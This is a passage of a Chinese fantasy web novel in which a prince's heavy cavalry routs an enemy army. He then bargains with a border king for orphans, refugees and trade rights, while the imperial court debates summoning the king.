他体内的灵气按照《人皇镇狱经》的路线疯狂运转,一股霸道无匹的气息自体内升腾而起。
他高高举起了手中的佩剑。
《苍龙破军》!
没有惊天动地的光效,也没有龙吟虎啸。
只有一股无形无质,却仿佛能撕裂一切的“势”,以叶玄的剑尖为核心,骤然爆发!
“嗡——”
空气发出一阵奇异的震颤。
前方阻路的数百名北莽骑兵,像是被一只无形的巨手猛地向前推了一把。
他们前方的空间,仿佛被强行撕开了一道裂口。
人仰马翻!
一条宽达数丈的真空通道,笔直地出现在叶玄的马前,直指圆阵中心的呼延灼。
通道两侧的北莽骑兵,连人带马,如同被巨浪拍开的沙砾,口喷鲜血,倒飞而出。
这一剑,未曾杀人,却破开了军阵之势!
呼延灼的瞳孔猛地收缩。
他眼睁睁看着那道裂口在自己面前成型,看着那个白袍青年,如入无人之境般,瞬息而至。
好霸道的武技!
来不及多想,求生的本能让他爆发出全部的力量。
“给我死!”
他怒吼着,将全身气血灌注于弯刀之上,自下而上,迎着叶玄的剑锋,悍然劈出!
“铛!!”
金铁交鸣之声,尖锐刺耳。
一股恐怖的力量顺着刀身传来,呼延灼只觉得整条手臂都麻了,胸口一阵气血翻涌。
战马更是悲鸣一声,被这股冲击力震得连连后退了七八步,才勉强稳住身形。
呼延灼骇然地看向对方。
这一交手,他瞬间感知到了对方的修为。
七品?
炼神境?
这怎么可能!
一个区区七品武者,怎么可能爆发出如此恐怖的力量?刚才那一招破开军阵的手段,更是闻所未闻!
他再抬头,对上了叶玄那双隐藏在面甲后的眼睛。
那是一双怎样的眼睛?
没有愤怒,没有杀意,只有一片死寂。
仿佛在看一个死人。
一股寒意,比北境的寒风更加刺骨,瞬间窜遍了呼延灼的全身。
他不是七品!
或者说,他绝不是一个普通的七品!
脑中无数念头电光火石般闪过。
镇北城内,何时出现了这样一支军队?又何时冒出了这样一位妖孽般的青年?
风啸天那个老匹夫,藏得好深!
继续打下去,自己和这三万儿郎,今日必将全部葬身于此。
一个决断,在呼延灼心中瞬间成型。
他猛地一勒缰绳,调转马头,对着身边仅存的亲卫厉声咆哮。
“撤!向东撤!快!”
话音未落,他已一马当先,根本不理会身后亲卫的反应,拼命地抽打着马臀,朝着营地东侧的黑暗中狂奔而去。
留得青山在,不怕没柴烧!
什么屠各部的荣耀,什么草原的勇士,在死亡面前,都一文不值!
叶玄准备递出的第二剑,就这么硬生生停在了半空中。
他甚至有些发愣。
跑了?
就这么跑了?
连一句场面话都不说,连一丝犹豫都没有,就这么干脆利落地跑了?
这和他预想中的剧本完全不一样。
按照常理,这种身居高位的蛮族将领,不都应该悍不畏死,叫嚣着为荣耀而战,然后被自己一剑枭首吗?
“殿下?”
赵阳的声音在旁边响起,他已经带人清空了周围的敌人,赶了过来。
“追!”
叶玄回过神来,立刻下令。
然而,已经晚了。
呼延灼的逃跑,成了压垮北莽军队心理防线的最后一根稻草。
主将都跑了,他们还打什么?
整个营地彻底炸了锅。
无数的北莽骑兵扔下武器,像没头的苍蝇一样四散奔逃,与追杀的大雪龙骑撞在一起,整个战场乱成了一锅粥。
叶玄催马追出百余丈,便被几匹受惊的无主战马挡住了去路。
更远处,是黑压压的溃兵人潮。
呼延灼的身影,早已消失在茫茫夜色之中。
叶玄勒住战马,停了下来。
他遥望着东方,沉默了片刻。
“传令下去。”
他的声音恢复了之前的冰冷。
“不必追了。”
“将这营地里所有还站着的北莽人,全部杀光。”
“一个不留。”
跑了一个呼延灼,无伤大雅。
用三万颗北莽人的头颅,来宣告大雪龙骑的降临,这笔买卖,依旧划算。
第95章 大雪龙骑,必须要有战争!
当东方天际浮现第一抹鱼肚白时,笼罩着镇北城外的杀戮终于落下了帷幕。
持续了一整夜的哀嚎与悲鸣,尽数归于死寂。
空气中,浓重的血腥味与尸体散发出的热气混合在一起,形成了一股令人作呕的白雾。
大地被彻底染成了暗红色,残肢断臂与破碎的旗帜、兵刃交织在一起,构成了一幅地狱般的画卷。
一万大雪龙骑,人人带血,马身亦是血迹斑斑。
他们静默地矗立在尸山血海之中,仿佛一群从九幽深处走出的白色死神,冷酷而高效地完成了自己的使命。
三万北莽屠各部的铁骑,除了那个跑得比兔子还快的呼延灼,再无一个活口。
叶玄端坐马上,身上那件雪白的大氅,已被鲜血浸透,凝固成暗红的硬块。
他的脸上溅满了血点,可面甲下的表情,却无半分波澜。
他只是平静地审视着自己的杰作。
【叮!检测到宿主完成第一次大捷,地点符合签到条件,是否进行签到?】
“签到。”
叶玄在心中默念。
【叮!签到成功!】
【恭喜宿主获得奖励:《大雪龙骑专属训练总纲》!】
一道信息流涌入叶玄的脑海。
与之前获得的武技功法不同,这是一套完整、繁复、体系庞大的军队训练方法。
从兵源筛选、体能打熬、气血搬运,到专属功法《龙骑镇杀诀》的修炼,再到配套的军阵、合击之术……包罗万象,巨细无遗。
叶玄握着缰绳的手指,不易察觉地收紧了些。
这个奖励,比十本地阶武技加起来,还要珍贵万倍。
这意味着,他麾下的大雪龙骑,将不再是一次性的消耗品。
他拥有了源源不断制造这种战争机器的能力!
叶玄调转马头,望向不远处的镇北城墙。
他没有说话,只是对着城墙的方向,微微抬起了手中的长剑,剑尖斜指苍穹。
这是一个无声的致意。
下一刻,他收剑归鞘,冰冷的声音响彻在每一个大雪龙骑士兵的耳畔。
“全军,收队!”
“是!”
万人的应答声整齐划一,汇成一道钢铁洪流,没有丝毫拖泥带水,转向离去。
……
镇北城的城墙上,早已站满了人。
风啸天和他麾下的一众将领,完整地看完了这场单方面的屠杀。
从最初的震惊,到中途的麻木,再到此刻的敬畏。
“王爷……他们……他们走了……”一名副将声音干涩,喉结上下滚动。
“这就走了?连战场都不打扫一下?”另一名将领满脸的不可思议。
遍地的尸体,数万匹无主战马,还有北莽军营中堆积如山的粮草辎重,这可是一笔巨大的财富。
对方竟然看都不看一眼。
“王爷,这支军队……究竟是?”终于,有人问出了所有人心中的疑问,“他们是从哪里冒出来的?为何从未听说过我大乾有这样一支……不,就算是放眼天下,也找不出第二支如此恐怖的重骑兵!”
“是啊王爷,您何时结识了这样一股力量?那位领头的白袍将军,又是什么人?”
众人七嘴八舌,目光灼灼地盯着风啸天,迫切地想要一个答案。
风啸天却只是沉默地看着那支白色洪流消失在远方的地平线上。
他没有回答任何人的问题。
他心中掀起的波澜,远比身边这些将领要汹涌得多。
呼延灼跑了,可那三万颗人头留下了。
那位八皇子,用一场酣畅淋漓的胜利,向他展示了自己手中最锋利的底牌。
这已经不是简单的“诚意”了。
这是赤裸裸的肌肉展示。
是在告诉他风啸天,自己的赌注,还远远不够。
……
山谷营地内。
叶玄翻身下马,苏轻雪连忙将其搀扶住。
赵阳也在一旁迎了上来,脸上是压抑不住的激动。
“殿下,此战大获全胜!我军伤亡……不足百人,且多为轻伤!”
这个战损比,说出去足以让任何名将都羞愧得无地自容。
“嗯。”叶玄点了点头,从怀中取出一卷由特殊材质制成的卷轴,递给了赵阳。“看看这个。”
“这是?”
赵阳疑惑地接过,缓缓展开。
只看了一眼,他的呼吸便瞬间停滞了。
他的瞳孔骤然放大,握着卷轴的双手,开始剧烈地颤抖起来。
“殿下……这……这……这是……”
他“这”了半天,却激动得一句完整的话都说不出来,只是死死地盯着卷轴上的文字,仿佛在看一件绝世瑰宝。
叶玄平静地看着他:“现在,你看懂了吗?”
“噗通!”
赵阳双膝一软,竟是直接跪了下来,将卷轴高高举过头顶。
“末将……末将明白了!”
他的声音带着哭腔,充满了前所未有的激动与狂热。
赵阳深知,大雪龙骑虽然强大,但却如同无根的浮萍。
这一万人,战死一个,就少一个。
而且,每一名大雪龙骑的士兵,最低都是六品凝体境的武者。
六品武者是什么概念?
在任何一支军队里,都是可以担任校尉、都尉,甚至偏将的存在。
谁家的六品武者,会甘心来当一个最底层的大头兵?
根本不可能招募到!
可现在,有了这卷训练总纲,一切都不同了!
只要有足够的资源和合格的兵源,他们就能将一个普通人,一步步打造成一名合格的大雪龙骑!
这代表着,大雪龙骑,可以扩军!可以传承!
可以从一支奇兵,变成一支真正能够横扫天下,决定王朝命运的无敌之师!
叶玄将他扶起:“既然明白了,那就说说吧,要将这支军队真正建立起来,你需要什么?”
赵阳站起身,脸上的激动之色缓缓褪去,取而代之的是一名职业将领的冷静与严肃。
他沉吟片刻,没有半分犹豫,直接开口。
“殿下,末将以为,有三个问题亟待解决。”
“第一,兵源。”
“我们需要大量体魄强健、意志坚定,并且绝对忠诚的兵源。这些人,最好是身家清白,无牵无挂的孤儿,或是走投无路的流民,这样才便于我们从零开始培养。”
“第二,资源。”
赵阳的语气变得格外凝重。
“要将一个普通人训练成六品武者,再为他配备全套的玄铁重甲和能够负重冲锋的宝马,这其中消耗的粮草、药材、矿石……将是一个天文数字。恐怕,掏空整个北凉王府的府库,也未必能再装备起一万大雪龙骑。”
叶玄静静地听着,不置可否。
“第三点呢?”
赵阳深吸了一口气,说出了最核心的问题。
“战争!”
他一字一顿,声音铿锵有力。
“殿下,卷轴上这门《龙骑镇杀诀》,是一门纯粹的杀伐功法。它的精髓,便是在战场上磨炼,在杀戮中突破!”
“让大雪龙骑去种地、去戍边,只会让他们手中的刀变钝,身上的杀气消散,最终沦为一群穿着重甲的农夫。”
“这支军队,必须用鲜血来浇灌,用敌人的生命来喂养!”
赵阳抬起头,目光灼灼地望着叶玄。
“所以,我们最需要的,是持续不断的战争!”
“我们需要用一场接一场的胜利,用敌人的尸骨,来铺就我们通往更强的道路!”
第96章 北凉的孤儿我全都要了!
“你说的这三点,正是根本。”
他踱步到篝火旁,火光将他的影子拉得长长的。
“我们一件一件来。”
“第三点,战争,其实最简单。”
叶玄的目光投向北方,那片被夜色笼罩的无垠草原。
“北莽数十万铁骑陈兵边境,呼延灼的三万屠各部,不过是他们的先锋罢了。这次他们吃了这么大的亏,你觉得他们会善罢甘休吗?”
赵阳的呼吸一滞,身上的杀气不自觉地散发出来。
“他们会疯狂报复。”
“对。”叶玄的声音很轻,却带着一股寒意,“他们会来,源源不断地来。对于我们的大雪龙骑来说,莽子的铁骑,就是最好的磨刀石,也是最好的养料。”
“用他们的血,来喂养我们的刀锋。用他们的头颅,来铸就我们的军魂。战争,北凉从不缺少。”
一直静立在旁的苏轻雪,此刻轻声开口,她的声音如清泉,却带着洞悉人心的力量。
“战争能解决《龙骑镇杀诀》的修行问题,但兵源和资源,才是真正勒住我们脖子的绳索。”
叶玄赞许地点了点头,看向苏轻雪。
“你有什么看法?”
苏轻雪没有半分怯场,从容说道:“先说兵源。赵将军所言极是,我们需要的是身家清白、无牵无挂的孤儿或流民。这样的人,我们才好彻底掌控,培养出绝对的忠诚。”
她顿了顿,继续分析。
“而这样的人,北凉最多。”
“连年战火,让这片土地上遍地都是战争孤儿,流离失所的百姓更是不计其数。对于镇北王风啸天而言,这些人是巨大的负担,是消耗粮草的无底洞,更是潜在的动乱之源。”
叶玄的嘴角勾起一抹弧度。
“所以,我们去找他要人,不是在求他,而是在帮他解决麻烦。”
苏轻雪的眼眸中也泛起一丝笑意:“正是此理。我们替他安置流民,为他减轻负担,他没有理由拒绝。我们甚至可以做得更彻底一些,将整个北凉境内的孤儿和流民,尽数接收。”
赵阳听得目瞪口呆。
殿下和这位苏姑娘一唱一和,就把最关键的兵源问题,从一个难题,变成了一件对双方都有利的好事。
“那……资源呢?”赵阳忍不住追问,“殿下,训练一名大雪龙骑的耗费,堪称恐怖。玄铁重甲,百炼战刀,还有能够负重冲锋的宝马,更不用说将一个普通人提升到六品武者所需的丹药、药浴、巨量肉食……这笔开销,怎么解决?”
“抢?”
叶玄摇了摇头。
“抢解决不了一支军队的长久生计,只会让我们成为众矢之的。我们需要一条能够持续生钱的路子。”
他的目光再次落在苏轻雪身上。
“我们需要建立自己的商路。”
苏轻雪立刻会意,接过了话头:“从零开始建立商路,太过耗时,太子和京城里的那些人,不会给我们这个时间。”
“不过,我们并非全无根基。”
她的声音里透着一股自信。
“殿下可还记得云安城的柳家?”
叶玄心中一动。
“柳月雪的家族?”
“正是。”苏轻雪解释道,“柳家在途径北凉的道路上经营多年,商路遍布北凉近半州府,虽算不上顶级世家,但根基扎实。最重要的是,您对他们有救命之恩,他们对您的忠诚毋庸置疑。”
“我们可以扶持柳家,以他们为壳,在暗中掌控一切。让他们替我们打通关节,采购物资,销售战利品。如此一来,既能解决资源问题,又能隐藏我们的实力,一举两得。”
一番话说完,营帐内陷入了短暂的寂静。
赵阳看着叶玄和苏轻雪,心中除了敬佩,再无他想。
一个高屋建瓴,指明方向。
一个心思缜密,补全细节。
短短片刻,扩充大雪龙骑这个看似不可能完成的任务,便有了一条清晰可行的道路。
“好。”
叶玄一锤定音。
“此事就这么定了。”
他看向赵阳:“你留在营地,整合部队,清点战损,同时将《训练总纲》的内容彻底吃透,制定出一套完整的训练流程,随时准备接收新兵。”
“末将领命!”赵阳沉声应道。
叶玄转头对苏轻雪说:“你随我即刻返回镇北城,咱们在会一会那位镇北王。”
……
一个时辰后,镇北王府,书房。
刚刚处理完城防事务的风啸天,正端着一杯热茶,试图平复内心的波澜。
昨夜那场毫无悬念的屠杀,至今仍在他脑海中不断回放。
那支白色的钢铁洪流,如同梦魇一般,彻底颠覆了他三十年来的战争认知。
“王爷,叶先生和苏姑娘求见。”门外传来亲卫的通报。
风啸天手一抖,茶水险些洒出。
说曹操,曹操就到。
“快请!”
他放下茶杯,站起身,亲自走到门口相迎。
当看到叶玄和苏轻雪走进书房时,风啸天脸上堆满了热情的笑容。
“殿下,昨夜一战,真是让本王大开眼界,叹为观止啊!”
他上上下下地打量着叶玄,语气中充满了惊叹。
“说实话,本王领兵三十载,自认见识过天下强军,无论是大乾的玄甲卫,还是北莽的狼居胥,都堪称精锐。可与先生麾下那支铁骑相比,皆是萤火与皓月之别!”
“那究竟是怎样的一支军队?人马皆甲,冲锋之势无可阻挡,每一名士卒竟都有六品武者的实力……这简直……简直是闻所未闻!”
风啸天言语间极尽赞美,但一双眼睛却紧紧盯着叶玄,试图从他的表情中看出些什么。
这既是夸赞,也是试探。
叶玄却只是淡淡一笑,仿佛没听出他话里的深意。
“王爷谬赞了。不过是仗着甲坚兵利,打了对方一个出其不意罢了。若非呼延灼轻敌冒进,胜负尚未可知。”
这话说得谦虚,却也等于什么都没说。
风啸天心中暗叹一声,这年轻人,比狐狸还精。
他清楚,想从叶玄口中套出训练方法,无异于痴人说梦。
于是,他话锋一转,笑道:“不管怎么说,殿下此战为我镇北城解了围,也为我铲除了呼延灼这个心腹大患,本王感激不尽。殿下有什么需要,但讲无妨,只要本王能做到的,绝不推辞!”
这番话说得豪气干云,既是表达感谢,也是想看看叶玄的胃口有多大。
叶玄等的就是他这句话。
“既然王爷如此爽快,那晚辈也就不拐弯抹角了。”
叶玄拱了拱手,神色变得严肃起来。
“晚辈此次前来,的确有一事相求。”
“哦?”风啸天做出洗耳恭听的样子,“殿下请讲。”
叶玄直视着他的眼睛,一字一句地说道:
“我需要人。”
风啸天的眉毛一挑,心中念头飞转。
要人?
是要兵权,还是想从我镇北军中抽调精锐?
“殿下是指……需要本王的镇北军配合?”
“不。”叶玄摇了摇头,“我不要王爷麾下任何一名兵卒。”
“我要的,是那些王爷可能看不上的人。”
风啸天愣住了,满脸的困惑。
“看不上的人?”
叶玄的声音平静而清晰,在书房中回响。
“我要北凉境内,所有的战争孤儿。”
“我要所有因战乱流离失所,无家可归的流民。”
“我要那些被世家抛弃,被官府视为累赘,在城外挣扎求生,连一顿饱饭都吃不上的可怜人。”
“王爷。”
叶玄的语气陡然加重,带着一股不容置喙的气势。
“这些人,我全要了。您开个价吧。”
第97章 殿下,你这是要掏空我王府啊!
书房内的空气,随着叶玄最后一句话落下,变得有些微妙。
风啸天端着茶杯的手停在半空,杯中的热气袅袅升起,模糊了他脸上的神情。
他没有立刻回答,而是将茶杯放回桌上,发出“嗒”的一声轻响。
声音不大,却让这间书房愈发安静。
北凉境内所有的战争孤儿。
所有流离失所的流民。
这些词汇在他的脑海中盘旋,迅速勾勒出一幅庞大的、令人头痛的画面。
那不是几百人,不是几千人,而是数万张嗷嗷待哺的嘴。
是数万个潜在的麻烦。
风啸天执掌北凉多年,对这份“负担”的重量,比谁都清楚。
平日里,他只能下令各地官府勉强施粥,维系着他们不至于饿死生乱,但这就像一个无底洞,不断吞噬着本就紧张的军费和粮草。
现在,叶玄说,他全要了。
风啸天抬起头,目光落在叶玄那张过分年轻的脸上。
他想起了昨夜那支如同从地狱冲出的白色骑兵。
那恐怖的冲击力,那整齐划一的杀戮,那每一名士卒都堪比军中校尉的强悍实力。
要养活那样一支军队,需要什么?
需要人。
需要源源不断、身家清白、可以塑造成任何形状的兵源。
孤儿和流民,正是最好的选择。
风啸天缓缓靠在椅背上,手指无意识地敲击着桌面。
“殿下的胃口,比本王想象中要大得多。”
他的声音听不出喜怒,像是在陈述一个事实。
“这些人,对于本王来说,的确是累赘。每日消耗的钱粮,足以再养活我镇北军一万精锐。”
“殿下愿意接手,是为本王分忧,按理说,本王该双手奉上,再附赠牛羊万头,以示感谢。”
话说到这里,风啸天的语气微微一转,带上了一丝商人的精明。
“但是,殿下。你我心里都清楚,这些人到了你手里,就不是累赘了。”
“他们是种子。”
“能长出更多像昨夜那般,让北莽闻风丧胆的无敌铁骑的种子。”
他看着叶玄,一字一句地继续说道。
“本王帮你解决兵源,让你那支军队可以毫无顾忌地扩张。那么,本王能得到什么?”
“呼延灼那三万屠各部的战利品,如今可都还在本王的大营里封存着。”
风啸天终于亮出了自己的底牌。
昨夜一战,大雪龙骑只顾追杀,战场的清扫工作,自然落到了镇北军的头上。
三万北莽铁骑,他们的战马、兵甲、随身携带的粮草和财物,是一笔惊人的财富。
风啸天这是打算用一个他本就想甩掉的包袱,来换取这笔实实在在的好处。
苏轻雪的柳眉微蹙,正要开口,却被叶玄一个眼神制止了。
叶玄笑了。
“王爷快人快语,那晚辈也就不藏着掖着了。”
“成交。”
他吐出两个字,干脆利落。
风啸天准备好的一肚子说辞,瞬间被堵了回去。
他有些意外地看着叶玄,没想到对方答应得如此爽快。
这让他感觉自己像是一拳打在了棉花上。
“不过。”叶玄话锋一转,继续道,“晚辈也有一个附加的条件。”
“殿下请讲。”风啸天身体前倾,他倒要看看,这个年轻人还想做什么。
叶玄伸出一根手指。
“我需要粮草。”
“不多。从下个月开始,每个月,王爷只需为我那一万骑兵,提供足额的粮草便可。”
书房内刚刚缓和的气氛,骤然冰冻。
风啸天脸上的笑容僵住了。
他死死地盯着叶玄,仿佛要从他脸上看出一朵花来。
足足过了半晌,他才像是被踩了尾巴的猫一样,几乎要从椅子上跳起来。
“不可能!”
风啸天想都没想,断然拒绝。
“绝对不可能!”
他的声音因为激动而拔高了几分。
“叶玄!你当本王是傻子吗?”
他甚至连“殿下”的尊称都忘了。
“一万骑兵?还是那种人均六品的怪物骑兵?你知道他们一个月要吃掉多少东西吗?”
风啸天伸出三根手指,在叶玄面前晃了晃。
“我告诉你!那不是吃草,是吃肉!是吞金!他们一个月的嚼用,比我三万镇北军还要多!”
“你让我每个月给你提供粮草?那呼延灼留下的这点家当,不出三个月就得被你吃干净!再然后呢?我是不是还得把我的镇北王府给当了,来养你的兵?”
风啸天是真的有些气急。
这哪里是谈条件,这分明是想把他风某人当冤大头,连骨头带肉一起吞下去!
他喘着粗气,指着叶玄,一副“你小子不地道”的表情。
“换一个!这个条件,本王死都不会答应!你换一个!”
看着风啸天几近失态的模样,叶玄的脸上却依旧挂着那副风轻云淡的笑容。
一旁的苏轻雪,此刻也终于回过味来,看向叶玄的目光中,多了一丝哭笑不得的意味。
她明白了。
殿下压根就没指望王爷会答应这个条件。
这不过是一个幌子。
一个为了接下来的真正目的,而抛出的烟雾罢了。
“王爷息怒,息怒。”
叶玄端起桌上的茶壶,亲自为风啸天续上茶水,姿态放得很低。
“是晚辈唐突了,没算清楚这笔账。王爷掌管北凉军政,家大业大,难处晚辈也该体谅。”
他将茶杯推到风啸天面前,语气诚恳。
“既然粮草之事让王爷如此为难,那就算了。”
风啸天端起茶杯喝了一口,情绪稍稍平复,但依旧警惕地看着叶玄。
他可不信这小子会这么轻易放弃。
“那殿下的意思是?”
叶玄轻轻叹了口气,似乎有些无奈。
“兵源,王爷给了。战利品,晚辈也让了。这粮草的缺口,总得自己想办法补上。”
“晚辈打算,自己做些生意,赚点小钱,来贴补军用。”
风啸天眉头一挑,没说话,示意他继续。
“所以,晚辈想请王爷行个方便。”
叶玄终于图穷匕见。
“以后,凡是悬挂我叶字旗号的商队,在北凉境内,可否免除所有关税和盘查?”
“各地官府和城防军,能否给予方便之门,不得无故刁难?”
话音落下。
风啸天端起茶杯的动作,又一次停住了。
他看着叶玄,看着对方脸上那副“我只是想做点小生意糊口”的无辜表情,再回想刚才那个“每月一万骑兵粮草”的狮子大开口。
他哪里还不明白。
这小子从一开始,目标就是这个!
绕了这么大一个圈子,又是要人,又是谈粮草,把自己气得吹胡子瞪眼,结果真正的目的,只是为了打通一条商路。
风啸天忽然很想笑。
他指着叶玄,你了半天,最终化作一声哭笑不得的叹息。
“你啊你……”
他摇了摇头,端起茶杯一饮而尽。
“何必绕这么大的弯子。”
“不就是要一条畅通无阻的商路吗?这算什么大事?”
风啸天将茶杯重重放下,语气中带着几分豪气。
“准了!”
“本王稍后就下王令,通传北凉全境。凡见你的叶字旗,如见本王亲临,任何人不得以任何理由阻拦、盘查、征税!”
“这个条件,本王允了!”
……
第98章 朕的江山,岂容藩王动刀!
就在叶玄和风啸天达成深层次的合作时。
大乾王朝,太和殿内。
金色的晨光穿透雕花窗格,在光洁如镜的金砖上投下斑驳的光影。
文武百官分列两侧,鸦雀无声。
龙椅之上,皇帝叶擎天身着玄色龙袍,面沉如水。
早朝的气氛,从一开始就透着一股不同寻常的压抑。
户部尚书陈松站在队列中,手心微微冒汗,他知道,好戏就要开场了。
果不其然,一名须发皆白的老御史颤颤巍巍地走出队列,手中高举着一卷奏本。
“陛下!”
老御史声嘶力竭,声音里带着一股子玉石俱焚的悲愤。
“臣,都察院御史刘秉,今日拼着这身官服不要,也要**北凉藩王,镇北王风啸天!”
此言一出,满殿哗然。
**镇北王?
那可是镇守国门二十载,手握二十万镇北军的擎天之柱。
**他,与指着皇帝的鼻子骂娘,区别不大。
“讲。”
龙椅上,叶擎天只吐出一个字,听不出任何情绪。
刘秉跪伏于地,将奏本高高举过头顶。
“镇北王风啸天,无视国法,未经朝廷允准,擅动刀兵,于镇北城内,悍然屠戮孙、王、李三族!”
“三大家族,上至八旬老翁,下至襁褓婴孩,近三千口,一夜之间,血流成河,尸骨无存!”
“陛下!此三族皆为我大乾子民,纵有小过,也该由三法司会审,交由朝廷定夺。他风啸天凭什么?凭什么不问缘由,便行此灭绝之事?”
“此乃乱臣贼子之举!视我大乾律法为无物,视陛下天威于不顾!”
“臣恳请陛下,立刻下旨,严惩风啸天,以正国法,以安民心!”
老御史每说一句,便重重叩首一次,金砖之上,很快便见了血迹。
大殿之内,死一般的寂静。
所有人都被这消息震得头皮发麻。
屠戮三族,近三千口?
这已经不是简单的滥杀,这是在动摇国本!
陈松低着头,嘴角勾起一抹难以察觉的弧度。
成了。
这把火,烧起来了。
太子叶天站在百官之首,脸上适时地流露出震惊与悲痛交加的神情,仿佛对那三千条人命的逝去感同身受。
龙椅之上,叶擎天的手指在扶手上轻轻敲击着,发出“笃、笃”的轻响。
声音不大,却像重锤一样敲在每个人的心上。
他当然知道这件事。
甚至比在场的所有人都知道得更早,更清楚。
孙、王、李三家,哪里是什么普通子民。
那是他安插在北凉的眼睛,是他的钱袋子,是他用来监视风啸天的棋子。
现在,这些棋子被风啸天连着棋盘一起给掀了。
干干净净。
他的心在滴血,不是为那三千条人命,而是为自己被斩断的触手。
风啸天,你好大的胆子!
可这股怒火,他不能宣之于口。
他只能任由这股怒火在胸中燃烧,脸上却依旧平静无波。
他看着跪在地上的老御史,又扫了一眼满朝文武。
“众卿,以为如何?”
他的声音很平静,却带着一股山雨欲来的压力。
话音刚落,立刻便有数名官员站了出来,纷纷附议。
“陛下,刘御史所言甚是!藩王在外,手握重兵,若无节制,必成心腹大患!”
“请陛下下旨,彻查镇北城血案!”
“风啸天此举,与谋反何异?!”
群情激愤。
而这些声音的背后,几乎都有着太子的影子。
叶天看着这一切,心中畅快无比。
风啸天,你不是狂吗?
本宫倒要看看,你怎么跟父皇交代!
就在这股声浪即将达到顶峰之时,一个沉稳的声音响了起来。
“陛下,臣有不同看法。”
百官之首,当朝首辅苏长青,缓步而出。
他并未像其他人那样激动,只是平静地躬身行礼。
“苏首辅,你有何高见?”叶擎天的声音依旧平淡。
苏长青直起身,环视一周,才缓缓开口。
“陛下,镇北王驻守北凉二十年,与北莽大小百余战,未尝一败。说他是我大乾的定海神针,亦不为过。”
“一个为国流血二十年的人,为何会突然向自己的子民挥刀?”
“刘御史所言,皆是来自所谓的幸存者之口,可有实证?可有缘由?”
他顿了顿,声音陡然提高了几分。
“若仅凭一些捕风捉影的传言,便要问罪于国之柱石,岂不是要寒了天下将士的心?”
“北凉若乱,北莽趁虚而入,这个责任,谁来承担?”
一番话,掷地有声。
大殿内刚刚还喧嚣的气氛,瞬间冷却了不少。
是啊,镇北王为什么要这么做?这不合情理。
而且,一旦动了镇北王,北境的防线怎么办?
太子叶天见状,冷笑一声,也站了出来。
“苏首辅此言差矣。”
他先是对着龙椅上的叶擎天行了一礼,随即转向苏长青。
“本宫记得,不久之前的云安城王德发一案,苏首辅可不是这么说的。”
苏长青的眉头微微一蹙。
只听叶天继续说道:“当时,不也是仅凭的他人几句的一面之词,苏首辅便力主发兵,言之凿凿,称王德发意图谋反吗?”
“怎么今日事关镇北王,屠戮三千子民,证据确凿,苏首辅反而要为他辩解了?”
“同样是藩镇之事,苏首辅前后态度,为何有如此天壤之别?”
叶天的声音在大殿中回荡,每一个字都像是一记耳光,狠狠抽在苏长青的脸上。
“难道……”
太子故意拉长了声音,目光变得极具侵略性。
“苏首辅与镇北王之间,有什么本宫不知道的……交易吗?”
轰!
这句
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话,如同一道惊雷,在太和殿内炸响。
所有人的目光,齐刷刷地聚焦在苏长青身上。
勾结藩王!
这顶帽子,足以压垮任何人!
陈松在队列中,几乎要忍不住笑出声来。
太子这一招,太狠了!
直接将苏长青逼到了绝路。
苏长青的脸色,第一次变得有些难看。
他确实无法解释。
因为如果他没有猜错的话,自己女儿现在应该就在北凉和叶玄在一起。
这件事,他一个字都不能说。
他沉默了。
这在大臣们看来,几乎等同于默认。
大殿内的气氛,瞬间变得剑拔**张。
看着苏长青被自己问得哑口无言,叶天心中得意万分,他感觉自己从未如此刻这般,掌控全场。
就在他准备乘胜追击,彻底将苏长青踩在脚下时。
苏长青却再次开口了。
他的声音恢复了平静,仿佛刚才的窘迫从未发生过。
“太子殿下言重了。”
“老臣与镇北王,素无私交,一心只为大乾江山。”
他没有再做无谓的辩解,而是直接转向了龙椅。
“陛下,此事疑点重重,断不可草率行事。”
“老臣以为,为查明真相,也为给天下人一个交代,更是为了验证镇北王的忠心。”
“咱们可以下一道旨意。”
“宣镇北王,即刻返京述职。”
苏长青的声音在大殿中回响。
“让他,亲自回京,向陛下一五一十地解释清楚镇北城发生的一切。”
“他若是肯回来,便证明他心中无鬼,忠心不二。届时是赏是罚,全凭陛下一言而决。”
“他若是不肯回来,抗旨不遵……”
苏长青微微躬身,声音沉凝如铁。
“那便说明他心怀不轨,到那时,朝廷再集结大军,出兵讨伐,名正言顺,天下无人不服!”
话音落下。
整个太和殿,落针可闻。
太子叶天脸上的得意之色,僵住了。
陈松刚刚放下的心,又提到了嗓子眼。
好一招以退为进!
好一个阳谋!
这一招,直接把皮球踢给了风啸天。
来,还是不来?
来,京城便是龙潭虎穴,生死难料。
不来,便是坐实了谋反的罪名,天下共击之。
龙椅之上,一直沉默不语的叶擎天,那双深邃的眼眸中,终于闪过一丝波澜。
他看着下方神色各异的臣子。
看着洋洋得意的太子。
也看着处变不惊的苏长青。
最终,他的目光仿佛穿透了宫殿的重重阻隔,望向了遥远的北凉。
风啸天。
朕倒要看看,你,如何接招。
许久。
他威严而冷漠的声音,响彻整个大殿。
“准奏。”
“传朕旨意,宣镇北王风啸天,即刻返京述职。”
“不得有误!”
第99章 绝境签到,亩产万斤黄金薯!
京城的圣旨如同一只无形的猎鹰,乘着凛冽的寒风,向北凉飞来。
而此刻的叶玄,已经带着苏轻雪回到了那处隐秘的山谷。
马蹄踏在积雪上,发出咯吱的声响,山谷内,大雪龙骑的营地已经初具规模,巡逻的甲士往来不绝,肃杀之气与这片冰天雪地融为一体。
回到临时搭建的木屋,温暖的炭火驱散了些许寒意。
叶玄亲自为苏轻雪倒上一杯热茶,白色的雾气氤氲了她清丽的脸庞。
“王府那边的商路,已经谈妥了。”
叶玄开口,声音平静。
“风啸天下了王令,以后挂着‘叶’字旗的商队,在北凉境内可以畅行无阻,免除一切盘查和税收。”
苏轻雪捧着温热的茶杯,点了点头。
“这是釜底抽薪的一步好棋,有了这条商路,我们就能将北凉的资源,源源不断地运出去,再换回我们需要的一切。”
“没错,但饭要一口一口吃,路要一步一步走。”
叶玄看着她,继续说道:“商队的事情,我打算全权交给你。”
苏轻雪微微一怔。
叶玄解释道:“你比我更懂经商之道,云安城的柳家是你的亲戚,由你出面接洽,名正言顺,也更容易建立信任。我需要一条不仅能赚钱,而且绝对忠诚于我们的商路。”
这番话,没有丝毫的试探,而是全然的托付。
苏轻雪心中划过一丝暖流,她没有推辞。
“好,我会联系月雪,以苏家的名义和柳家合作,组建一支新的商队。只是,你要做什么?”
她抬起眼,望向叶玄。
叶玄的目光越过她,看向窗外那片白茫茫的世界。
“我要为我们未来的子民,盖好房子,备好存粮。”
他的语气很轻,却透着一股不容置疑的决心。
安顿流民和孤儿,说起来简单,但那将是数以万计张嗷嗷待哺的嘴。
